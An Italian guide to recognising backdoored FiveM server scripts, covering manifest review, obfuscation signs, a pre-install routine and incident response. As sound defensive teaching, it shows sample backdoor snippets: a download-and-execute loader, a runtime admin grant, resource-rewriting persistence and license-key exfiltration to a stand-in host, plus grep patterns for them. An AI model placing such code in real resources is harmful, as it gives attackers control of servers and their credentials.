Come riconoscere uno script FiveM con backdoor

Le quattro forme che prende una backdoor, come leggere una resource prima che venga eseguita, e cosa fare per primo quando ne trovi una. Ordinato per quello che ti protegge davvero.

6 minuti di lettura

Qualcuno ti manda uno script "leakato gratis". Lo metti in resources, riavvii, e funziona tutto. Tre settimane dopo uno sconosciuto ha l'admin, il tuo database è sparito, oppure il tuo server sta silenziosamente girando pubblicità ai tuoi stessi giocatori.

Questa guida spiega come guardare una resource prima che venga eseguita, cosa significano davvero i pattern, e cosa fare quando ne trovi uno.

Niente qui carica i tuoi file. Lo scanner di backdoor li legge nel tuo browser, che è l'unico modo sensato di esaminare uno script di cui già non ti fidi.

Comincia leggendo il manifest

fxmanifest.lua decide cosa gira. Aprilo per primo, ogni volta.

fx_version "cerulean"game "gta5"client_scripts {    "client/*.lua",}server_scripts {    "server/*.lua",    "config/init.lua",}

Due domande, in quest'ordine:

  1. Ogni file elencato ha senso per quello che questa resource dichiara di fare? Uno script di parcheggio con un server_script chiamato updater.lua merita un'occhiata.
  2. C'è qualcosa caricato con un wildcard attraverso cui non vedi? server/*.lua è normale, ma vuol dire anche che un file aggiunto dopo gira senza altre modifiche.

Poi confronta il manifest con la cartella. Un file che esiste su disco e non è nel manifest di solito è zavorra. Un file nel manifest che non riesci a trovare è un segnale ben peggiore.

Le quattro forme che prende una backdoor

Quasi tutto ciò che è malevolo ricade in una di quattro famiglie. Conoscere la famiglia conta più che imparare a memoria delle stringhe, perché le stringhe cambiano e le forme no.

1. Codice scaricato a runtime ed eseguito

La resource scarica qualcosa e lo esegue. Quello che controlli oggi può servire qualcosa di diverso domani.

PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)    if code == 200 then        assert(load(body))()    endend, "GET")

load, loadstring, RunString e assert(load(...)) trasformano del testo in codice che gira. Accanto a una chiamata HTTP nello stesso file, non c'è lettura innocente.

Un auto-updater è la copertura abituale. Un updater legittimo scarica un file e ti chiede di riavviare. Non esegue in memoria quello che ha scaricato.

2. Permessi concessi a runtime

La famiglia più silenziosa, e quella che sfugge, perché niente sembra strano finché un account che nessuno ha creato non ha accesso completo.

RegisterNetEvent("core:sync", function(identifier)    ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))end)

Qui ci sono due cose sbagliate. Un add_principal a runtime non dovrebbe mai arrivare da una resource che non hai scritto tu, e l'evento prende un identifier dal client, quindi chiunque può chiamarlo con il proprio.

Cerca in qualsiasi resource add_principal, add_ace ed ExecuteCommand. In uno script di gameplay normale il conteggio è zero.

3. Persistenza e reinfezione

La parte interessante di una backdoor seria è cosa succede dopo che l'hai trovata.

SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)

SaveResourceFile permette a una resource di riscrivere un'altra resource. Cancelli lo script malevolo e torna da quella che è stata riscritta. È per questo che trovare un file non è la stessa cosa che essere puliti.

4. Esfiltrazione di secret

Il motivo per cui valeva la pena piazzarla.

local key = GetConvar("sv_licenseKey", "")PerformHttpRequest("https://example-collector.tld/k", nil, "POST", key)

Una resource che legge sv_licenseKey, steam_webApiKey, rcon_password o la tua stringa di connessione MySQL non ha nessun motivo legittimo per farlo. E nemmeno una URL di webhook Discord che non hai aggiunto tu.

L'offuscamento non è il reato, ma è il segnale

Parecchi script a pagamento sono offuscati per proteggere una licenza, quindi l'offuscamento da solo non significa malevolo. Significa che non puoi controllarlo, e quella è una decisione che dovresti prendere di proposito e non per caso.

Cosa vediCosa significa
\x68\x74\x74\x70 ripetutostringhe escapate in esadecimale, che nascondono una URL o un nome
string.char(104, 116, 116, 112)stessa idea, in decimale
Una riga singola da oltre 800 caratteriminificato, così nessuno ci passa sopra l'occhio
Nomi in stile _0x4f2aun offuscatore JavaScript, comune nei payload NUI
LPH_NO_VIRTUALIZE, IronBrew, Luraphun offuscatore Lua, chiamato per nome

La regola onesta: un file offuscato di un venditore a pagamento che hai scelto tu è un rischio che hai accettato. Un file offuscato dentro un leak gratuito è un rischio che qualcun altro ha scelto per te.

I blocchi esadecimali e Base64 si decodificano in un passaggio con il decoder Base64, hex e URL. Gira anch'esso nel tuo browser, quindi non stai incollando un payload sospetto nel sito di uno sconosciuto.

Fai questo prima di ogni installazione

Una routine breve intercetta quasi tutto.

  1. Analizza l'archivio. Trascina lo .zip direttamente nello scanner di backdoor. Legge gli zip senza estrarli da nessuna parte.
  2. Leggi il manifest, e confrontalo con il contenuto della cartella.
  3. Fai grep delle quattro famiglie. load(, PerformHttpRequest, add_principal, SaveResourceFile, GetConvar.
  4. Installala prima su un server di test, con una licence key usa e getta e un database che non contiene niente.
  5. Guarda la console al primo avvio. Le backdoor che chiamano casa di solito lo fanno subito, e un errore HTTP all'avvio è un regalo.

Quando ne trovi una

Qui l'ordine conta, e l'istinto di cancellare prima il file è sbagliato.

  1. Ferma il server. Non la resource. Il server.
  2. Cambia tutti i secret: la sv_licenseKey dal portale Cfx, la password del tuo database, i tuoi webhook Discord, qualsiasi chiave API dentro una convar. Dai per scontato che tutto quello che sta nel server.cfg sia noto. Il generatore di secret produce i sostituti senza mandarli da nessuna parte.
  3. Controlla add_principal nelle tue config e togli ogni identifier che non riconosci.
  4. Controlla le altre resource, per via della famiglia 3. Una sola backdoor che ha usato SaveResourceFile significa che vanno lette anche le altre.
  5. Solo a quel punto cancella la resource, e ripristina da un backup fatto prima che venisse installata, se ne hai uno.

Cambiare la licence key senza cambiare la password del database non risolve niente. Chi ha avuto esecuzione di codice lato server ha avuto anche le tue credenziali.

Cosa questo non può dirti

Il riconoscimento di pattern sul testo sorgente non è una prova.

Una backdoor scritta con cura può evitare ogni pattern di questa guida, e del codice pulito a volte li fa scattare: una resource legittima può benissimo chiamare PerformHttpRequest, e un sacco di script buoni leggono una convar. È per questo che lo scanner spiega cosa significa ogni segnalazione invece di stampare un verdetto.

Tratta un report come una lista di posti dove guardare, non come un giudizio. Il giudizio resta tuo, ed è giusto così.

Gli strumenti usati in questa guida